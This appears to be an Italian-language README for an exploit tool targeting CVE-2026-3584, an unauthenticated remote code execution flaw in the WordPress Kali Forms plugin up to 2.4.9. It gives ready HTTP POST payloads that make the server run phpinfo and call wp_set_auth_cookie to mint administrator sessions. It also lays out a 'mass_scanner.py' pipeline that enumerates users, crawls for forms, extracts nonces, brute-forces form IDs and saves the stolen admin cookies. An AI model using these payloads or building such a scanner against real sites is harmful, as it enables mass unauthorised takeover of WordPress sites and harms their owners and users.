CVE-2026-3584 – WordPress Kali Forms <= 2.4.9 - Esecuzione Remota di Codice Non Autenticato via form_process

🔥 **Riepilogo della Vulnerabilità **

Il plugin WordPress Kali Forms versioni <= 2.4.9 presenta una vulnerabilità critica di esecuzione remota di codice non autenticato (RCE). Questa falla consente agli attaccanti non autenticati di eseguire codice PHP arbitrario sul server e ottenere privilegi di amministratore completo tramite l'endpoint AJAX kaliforms_form_process esposto pubblicamente senza controlli di autorizzazione.

La vulnerabilità risiede nella funzione form_process che accetta parametri controllati dall'utente (inclusi thisPermalink e entryCounter) ed esegue callback PHP arbitrari, portando a:

• Remote Code Execution (RCE) tramite phpinfo(), system(), eval(), ecc.
• Escalation di Privilegi tramite wp_set_auth_cookie() per ottenere sessioni amministrative

---

🔍 Plugin Vulnerabile

• Nome Plugin: Kali Forms – WordPress Form Builder
• Versione Vulnerabile: <= 2.4.9
• Tipo di Vulnerabilità : Esecuzione Remota di Codice Non Autenticato + Escalation di Privilegi
• CVE ID: CVE-2026-3584
• Punteggio CVSS: 10.0 (Critico)
• Impatto: Completo compromesso del sito, accesso amministrativo, persistenza
• Link: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process

---

🐛 **Come Funziona la Vulnerabilità **

Analisi Tecnica del Bug

La vulnerabilità si manifesta nella funzione form_process del plugin Kali Forms che gestisce le richieste AJAX. Il codice vulnerabile è esposto tramite:

// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));

Flusso dell'Exploit:

1. Endpoint Non Protetto: L'endpoint /wp-admin/admin-ajax.php?action=kaliforms_form_process è accessibile a utenti non autenticati tramite il hook wp_ajax_nopriv_.

2. Parametri Controllabili dall'Utente:

   • data[thisPermalink] - può contenere nome di funzione PHP arbitraria
   • data[entryCounter] - può contenere nome di funzione PHP arbitraria
   • data[formId] - ID del modulo da elaborare

3. Esecuzione di Callback Non Filtrati: Il codice vulnerabile esegue callback PHP senza validazione:

   $callback = $_POST['data']['thisPermalink'];
   call_user_func($callback);  // Nessun controllo!
   

4. Exploit Chain:

   Attacker → POST Request → kaliforms_form_process
        ↓
   thisPermalink=phpinfo → call_user_func('phpinfo')
        ↓
   PHP Code Execution → phpinfo() eseguito
        ↓
   entryCounter=wp_set_auth_cookie → Cookie amministratore generato
        ↓
   Full Admin Access
   

Esempio di Richiesta Vulnerabile:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]

Risultato: Il server esegue phpinfo() e restituisce informazioni complete sulla configurazione PHP.

Per Escalation Privilegi:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]

Risultato: WordPress esegue wp_set_auth_cookie(user_id) dove user_id corrisponde spesso a formId, generando cookie di sessione amministratore validi.

---

🛠Mass Scanner - Come Funziona

Architettura dello Scanner

Il mass_scanner.py implementa una pipeline automatizzata in 4 fasi per lo sfruttamento completo della vulnerabilità CVE-2026-3584:

┌─────────────────────────────────────────────────────────────────┐
│                    MASS SCANNER PIPELINE                        │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  Fase 1: Ricognizione API REST                                 │
│  ├─ Enumera utenti: /wp-json/wp/v2/users                       │
│  └─ Enumera post: /wp-json/wp/v2/posts                         │
│      → Identifica user_id e post_id per escalation             │
│                                                                 │
│  Fase 2: Scoperta Moduli                                       │
│  ├─ Crawl sito (depth=2)                                       │
│  ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms'              │
│  ├─ Estrae nonce da JavaScript                                 │
│  └─ Estrae formId da HTML                                      │
│      → Trova tutti i moduli Kali Forms vulnerabili             │
│                                                                 │
│  Fase 3: Test RCE                                              │
│  ├─ Invia: data[thisPermalink]=phpinfo                         │
│  ├─ Verifica: 'PHP Version' in response                        │
│  └─ Salva: result/target_phpinfo.html                          │
│      → Conferma esecuzione codice remoto                       │
│                                                                 │
│  Fase 4: Escalation Privilegi                                  │
│  ├─ Invia: data[entryCounter]=wp_set_auth_cookie              │
│  ├─ Estrae: wordpress_logged_in + wordpress_sec cookies        │
│  ├─ Verifica: Accesso a /wp-admin/ senza redirect             │
│  └─ Salva: result_cookie/target.txt                            │
│      → Ottiene accesso amministratore completo                 │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Dettagli Tecnici Implementazione

1. Normalizzazione URL Automatica

def normalize_url(self, target):
    # Aggiunge automaticamente http:// o https://
    # Prova prima HTTPS, poi fallback su HTTP
    # Gestisce porte personalizzate (es. :8080)

2. Enumerazione API REST

def enumerate_users_api(self, target):
    # GET /wp-json/wp/v2/users
    # Estrae tutti gli user_id disponibili
    # Usato per mappare formId → user_id
    
def enumerate_posts_api(self, target):
    # GET /wp-json/wp/v2/posts
    # Estrae tutti i post_id disponibili
    # Identifica sovrapposizioni user_id/post_id

3. Scoperta Moduli (Crawling Intelligente)

def discover_pages(self, target, max_depth=2):
    # Crawl ricorsivo del sito
    # Cerca pattern JavaScript: 'KaliFormsObject'
    # Filtra URL non necessari (js, css, immagini)
    # Segue solo link interni
    # Ritorna lista pagine con Kali Forms

4. Estrazione Dati Modulo

def extract_form_data(self, page_url):
    # Estrae nonce da JavaScript:
    #   KaliFormsObject = { ajax_nonce: "abc123" }
    # Estrae formId da HTML:
    #   data-id="1" o [kaliform id="1"]
    # Se nonce trovato ma no formId:
    #   Brute force ID 1-10